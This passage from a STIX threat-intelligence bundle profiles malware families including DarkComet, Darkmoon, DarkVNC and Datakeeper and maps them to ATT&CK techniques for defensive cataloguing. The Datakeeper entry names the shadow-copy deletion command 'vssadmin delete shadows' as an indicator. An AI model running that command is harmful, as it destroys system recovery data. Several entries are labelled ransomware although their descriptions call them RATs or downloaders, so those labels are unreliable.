      "id": "relationship--cbabec89-8b11-51fe-8dce-f860202335f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2e88df9-cb5f-5fc6-9329-c9795a20683e",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkhotel exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f26fa987-a9a9-546e-be29-078a8ec6868f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Darkkomet",
      "description": "DarkComet (frequently cataloged in security telemetry as DarkKomet or Backdoor.Win32.DarkKomet) is an iconic, feature-packed Remote Access Trojan (RAT) originally authored in 2008 by independent French developer Jean-Pierre Lesueur (known online as 'DarkCoderSC'). Developed in Delphi, the tool boasted an intuitive graphical management console, low system resource utilization, and deep surveillance capabilities\u2014including real-time audio and webcam surveillance, full keystroke logging, remote desktop streaming, reverse proxying, and file manipulation.\n\nAlthough originally marketed as a dual-use remote administration utility, DarkComet was aggressively weaponized by cybercriminals, hacktivists, and advanced persistent threat groups globally. Most notably between 2011 and 2014 during the Syrian Civil War, Syrian state-aligned threat actors deployed weaponized DarkComet builds embedded inside fake revolutionary PDF manifestos and Skype communications to target, track, and spy on anti-government dissidents, journalists, and activists. In response to mounting evidence that his software was being abused in human-rights violations, Lesueur publicly terminated the project in July 2012, releasing the 'DarkComet RAT Remover' cleanup utility. Leaked builder versions (notably v5.3.1) continue to be circulated and used in low-level cybercrime. (Observed samples in benchmark: 801)",
      "is_family": true,
      "malware_types": [
        "remote-access-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "DarkComet",
        "DarkComet RAT",
        "DarkKomet",
        "Trojan.DarkComet",
        "Backdoor.Win32.DarkKomet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Darkkomet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/darkkomet"
        }
      ],
      "labels": [
        "rat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc71d5b0-c09d-59e3-84e5-739080354349",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26fa987-a9a9-546e-be29-078a8ec6868f",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkkomet exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88b87faf-2824-53b3-9a98-bfab1356667f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26fa987-a9a9-546e-be29-078a8ec6868f",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkkomet exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--997b596f-794e-579a-9f99-566444d66abd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26fa987-a9a9-546e-be29-078a8ec6868f",
      "target_ref": "attack-pattern--a2c12d81-fb9f-59fa-85a2-540a18fb3ffb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkkomet exhibits technique T1125 (Video/Audio Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e44c7b76-514e-5b7e-bdfa-54f50b213c0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26fa987-a9a9-546e-be29-078a8ec6868f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkkomet exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3418633d-469d-5320-933b-82011d0f00e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26fa987-a9a9-546e-be29-078a8ec6868f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkkomet exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ea904faf-69a9-58ab-b1c1-0f5e5d520ea1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f26fa987-a9a9-546e-be29-078a8ec6868f",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkkomet exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--46ce390f-f8e0-50a7-91be-a3db525ba7cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Darkmoon",
      "description": "Backdoor:Win32/Darkmoon (frequently associated with the commercial penetration testing framework Core Impact) is a highly sophisticated Remote Access Trojan (RAT) and post-exploitation agent. While Core Impact is a legitimate tool used by security professionals (similar to Cobalt Strike), threat actors often pirate or re-purpose its agents (like Darkmoon) to establish deep, stealthy control over compromised enterprise networks (`T1219`).<br><br><b>Understanding Darkmoon (Advanced Backdoors)</b><br>To an end-user, Darkmoon is completely invisible. For a security operations center (SOC), the detection of Darkmoon is a critical incident indicating that an advanced adversary has already bypassed perimeter defenses and achieved execution on a high-value asset. It is not an initial access vector; it is a tool for lateral movement and long-term espionage.<br><br><b>Execution and Post-Exploitation Mechanics</b><br>Darkmoon is usually deployed after an initial breach (e.g., via spearphishing or exploiting an edge service). It is designed to be highly modular and evasive. It operates entirely in memory (`T1055`), injecting itself into legitimate system processes to avoid writing a detectable executable to the hard drive. It utilizes encrypted command and control channels (often HTTPS or custom DNS tunneling) to blend in with normal enterprise traffic (`T1071.001`). From this foothold, the attacker uses Darkmoon to dump credentials (`T1003`), map the network infrastructure (`T1046`), and deploy further implants or ransomware.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of confidentiality and control over the infected host. Host-based IoCs are extremely subtle due to the memory-only execution; EDR solutions may detect anomalous process injection (e.g., `CreateRemoteThread`) or unexpected network connections originating from processes like `svchost.exe` or `lsass.exe`. Network IoCs involve regular beaconing behavior to unknown IP addresses or domains with unusually high entropy. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Darkmoon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/darkmoon"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5475b146-f403-52d4-9723-15da10ae0992",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ce390f-f8e0-50a7-91be-a3db525ba7cf",
      "target_ref": "attack-pattern--8062a450-e074-5be5-a9de-9c338b106aaa",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkmoon exhibits technique T1219 (Remote Access Software (Abusing commercial post-exploitation frameworks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--439b6ac0-3cd8-5a0a-b58e-3ba859e2e124",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ce390f-f8e0-50a7-91be-a3db525ba7cf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkmoon exhibits technique T1055 (Process Injection (Executing purely in memory to evade file-based AV))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4ef7fc89-cfc5-584d-8454-9de3687e01d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ce390f-f8e0-50a7-91be-a3db525ba7cf",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkmoon exhibits technique T1003 (OS Credential Dumping (Extracting hashes for lateral movement))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99668371-cf4a-550d-8ef1-375d68a72f85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ce390f-f8e0-50a7-91be-a3db525ba7cf",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkmoon exhibits technique T1046 (Network Service Discovery (Mapping the internal network from the compromised host))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fcbdb7cd-6b30-56db-829a-24b4d4d82ec7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Darkneuron",
      "description": "Trojan:Win32/Darkneuron is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Darkneuron</b><br>To an end-user, a Darkneuron infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Darkneuron is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Darkneuron is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Darkneuron frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Darkneuron reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Darkneuron",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/darkneuron"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a4e8121-ffaf-5a0d-aa1b-773b7a4ef2a0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcbdb7cd-6b30-56db-829a-24b4d4d82ec7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkneuron exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b7ba795c-a364-5954-8d39-fd1f5618cc05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcbdb7cd-6b30-56db-829a-24b4d4d82ec7",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkneuron exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a037bca-6006-50a3-be3f-2be03ce2a094",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcbdb7cd-6b30-56db-829a-24b4d4d82ec7",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkneuron exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c5fd7619-e326-52f4-9fde-c237f8301f01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcbdb7cd-6b30-56db-829a-24b4d4d82ec7",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkneuron exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cda62729-56ae-5e3c-bd41-272a476a9b81",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcbdb7cd-6b30-56db-829a-24b4d4d82ec7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkneuron exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--447be804-8b84-50bf-940e-6b9a7ec0a199",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Darkvnc",
      "description": "HackTool:Win32/Darkvnc is an incredibly dangerous and specialized Remote Access Trojan (RAT) component. It is a highly customized, stealthy implementation of the Virtual Network Computing (VNC) protocol. Unlike legitimate remote administration tools (like TeamViewer or AnyDesk), DarkVNC is designed to establish a *hidden secondary desktop session* (`T1021.005`) on the victim's machine, allowing an attacker full, interactive graphical control without the legitimate user ever knowing they are being watched.<br><br><b>Understanding DarkVNC (Stealth Remote Access)</b><br>To an end-user, DarkVNC is completely invisible; their screen does not flicker, and their mouse does not move on its own. For a security analyst, a DarkVNC detection indicates an advanced, active compromise. DarkVNC is rarely distributed on its own; it is almost always a premium module integrated into high-end Banking Trojans (like Trickbot, IcedID, or Ursnif) and Ransomware affiliate toolkits (like Cobalt Strike deployments).<br><br><b>Execution and Hooking Mechanics</b><br>Once the primary malware (e.g., IcedID) compromises the system (`T1566.001`), it drops and injects the DarkVNC DLL into a legitimate process (`T1055`). DarkVNC establishes an outbound connection to the C2 server, bypassing inbound firewall rules (`T1105`). When the attacker initiates a session, DarkVNC uses advanced Windows API hooking to create an invisible, secondary desktop environment (`HDESK`). It can capture the screen, inject keystrokes, and interact with banking portals or cryptocurrency wallets directly from the victim's trusted IP address and browser session (`T1539`), completely bypassing geo-fencing and device fingerprinting controls.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total, interactive compromise of the endpoint and the user's active sessions. Network IoCs include persistent, high-bandwidth outbound TCP connections to unknown IP addresses (often over non-standard ports or disguised as HTTPS). Host-based IoCs include EDR alerts for suspicious process injection (especially involving web browsers or `explorer.exe`), the creation of hidden desktop objects in memory, and anomalous API calls related to desktop switching (`SwitchDesktop`). (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Darkvnc",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/darkvnc"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--61afd05d-fff6-547f-9277-dae6a406ea33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1021.005: Remote Services: VNC (Hidden Desktop manipulation)",
      "description": "MITRE ATT&CK Technique T1021.005 (Remote Services: VNC (Hidden Desktop manipulation)) under tactic Lateral Movement.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1021.005",
          "url": "https://attack.mitre.org/techniques/T1021/005/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c67fe60a-b4f9-53e9-8e1e-e31472e08058",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--447be804-8b84-50bf-940e-6b9a7ec0a199",
      "target_ref": "attack-pattern--61afd05d-fff6-547f-9277-dae6a406ea33",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkvnc exhibits technique T1021.005 (Remote Services: VNC (Hidden Desktop manipulation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bc955096-226d-5b55-8207-4127fef2a7aa",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--447be804-8b84-50bf-940e-6b9a7ec0a199",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkvnc exhibits technique T1055 (Process Injection (Loading the VNC DLL))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80f43d45-d991-59d0-8f14-a1327991a7db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--447be804-8b84-50bf-940e-6b9a7ec0a199",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkvnc exhibits technique T1105 (Ingress Tool Transfer (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b9ef5e1d-c213-5095-baf8-1a81d9485a19",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--447be804-8b84-50bf-940e-6b9a7ec0a199",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darkvnc exhibits technique T1539 (Steal Web Session Cookie (Abusing the trusted browser session))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9fe8abcf-5620-58ce-91b3-ce929788f4fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Darsing",
      "description": "<h3>Executive Summary</h3>\nDarsing is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nDarsing is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Darsing operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Darsing ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Darsing receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Darsing infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Darsing executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Darsing frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Darsing",
        "Downloader.Darsing",
        "Win32/Darsing"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Darsing",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/darsing"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ca391df8-eedd-5512-8000-dd42ab51c77c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fe8abcf-5620-58ce-91b3-ce929788f4fc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darsing exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90c88067-1e5f-54e9-a9a1-124a1e32b614",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fe8abcf-5620-58ce-91b3-ce929788f4fc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darsing exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80d03cbd-dc16-56ea-a316-2165947c39ce",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9fe8abcf-5620-58ce-91b3-ce929788f4fc",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Darsing exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7612c384-9a63-579d-a434-d6d6eda2d755",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Datakeeper",
      "description": "Ransom:Win32/Datakeeper is a destructive ransomware family that targets both individual users and enterprise networks, utilizing strong cryptographic algorithms to encrypt valuable files and demand payment for their release. Like many modern ransomware variants, it is designed to cause maximum operational disruption to force swift payment from the victim.<br><br><b>Understanding Datakeeper Ransomware</b><br>To an infected user, the outcome is catastrophic: documents, databases, and critical files are suddenly inaccessible, their filenames often appended with a specific extension (e.g., `.datakeeper`). A ransom note (usually an HTML or TXT file dropped in every directory) demands cryptocurrency. For a security operations center (SOC), a Datakeeper detonation often represents the final stage of a prolonged network compromise, indicating that attackers have successfully bypassed endpoint defenses and potentially moved laterally across the network.<br><br><b>Execution and Encryption Mechanics</b><br>Datakeeper is distributed via various vectors, including spear-phishing (`T1566`), malicious spam attachments, or manually deployed by attackers via compromised Remote Desktop Protocol (RDP) (`T1133`). Upon execution (`T1204.002`), it often attempts to terminate critical database and backup services (like SQL Server or Veeam) (`T1489`) to ensure those files are unlocked and vulnerable. It executes commands to delete Windows Volume Shadow Copies (`T1490`) using `vssadmin.exe` to prevent easy restoration. It then traverses the file system and mapped network drives, encrypting files using a combination of AES and RSA cryptography (`T1486`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is severe operational downtime and potential permanent data loss. The primary IoC is the massive, rapid modification of files across the hard drive and network shares. Host-based IoCs include EDR alerts for the mass deletion of shadow copies (`vssadmin delete shadows`) and the sudden termination of critical services. Network logs may show the initial command-and-control (C2) check-in to exchange the public encryption keys. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Datakeeper",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/datakeeper"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0511ebd-1356-5fa6-923e-003277c55143",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7612c384-9a63-579d-a434-d6d6eda2d755",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datakeeper exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--01d0f779-ca51-567b-9e23-4bf029aed5d0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7612c384-9a63-579d-a434-d6d6eda2d755",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datakeeper exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c5aa34a-c541-5b50-9d07-c56237d13f5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7612c384-9a63-579d-a434-d6d6eda2d755",
      "target_ref": "attack-pattern--3e454648-d3ff-52aa-9384-1ac06a79ec48",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datakeeper exhibits technique T1489 (Service Stop (Terminating databases and backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c49f3458-87f4-5894-bb23-c853907163c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7612c384-9a63-579d-a434-d6d6eda2d755",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Datakeeper exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f90315b-78ed-5e60-99d0-a834743c92a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Datper",
